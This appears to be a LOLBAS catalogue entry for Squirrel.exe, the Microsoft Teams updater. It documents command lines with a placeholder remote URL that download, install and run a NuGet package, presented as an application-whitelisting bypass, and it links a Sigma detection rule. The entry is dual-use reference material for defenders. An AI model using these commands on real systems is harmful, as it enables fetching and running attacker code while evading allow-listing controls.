.. /Squirrel.exe
Star

AWL bypass (Nuget, Remote)

Execute (Nuget, Remote)

Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Paths:

C:\Users\<username>\AppData\Local\Microsoft\Teams\current\Squirrel.exe

Resources:

Acknowledgements:

Reegun J (OCBC Bank) (@reegun21)
Adam (@Hexacorn)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml

Download

The above binary will go to url and look for RELEASES file and download the nuget package.
```
squirrel.exe --download {REMOTEURL}
```
Use case
Download binary

Privileges required
User

Operating systems
Windows 7 and up with Microsoft Teams installed

ATT&CK® technique
T1218

AWL bypass

The above binary will go to url and look for RELEASES file, download and install the nuget package.
```
squirrel.exe --update {REMOTEURL}
```
Use case
Download and execute binary

Privileges required
User

Operating systems
Windows 7 and up with Microsoft Teams installed

ATT&CK® technique
T1218
Tags
Execute: Nuget
Execute: Remote
The above binary will go to url and look for RELEASES file, download and install the nuget package.
```
squirrel.exe --updateRollback={REMOTEURL}
```
Use case
Download and execute binary

Privileges required
User

Operating systems
Windows 7 and up with Microsoft Teams installed

ATT&CK® technique
T1218
Tags
Execute: Nuget
Execute: Remote

Execute

The above binary will go to url and look for RELEASES file, download and install the nuget package.
```
squirrel.exe --update {REMOTEURL}
```
Use case
Download and execute binary

Privileges required
User

Operating systems
Windows 7 and up with Microsoft Teams installed

ATT&CK® technique
T1218
Tags
Execute: Nuget
Execute: Remote
The above binary will go to url and look for RELEASES file, download and install the nuget package.
```
squirrel.exe --updateRollback={REMOTEURL}
```
Use case
Download and execute binary

Privileges required
User

Operating systems
Windows 7 and up with Microsoft Teams installed

ATT&CK® technique
T1218
Tags
Execute: Nuget
Execute: Remote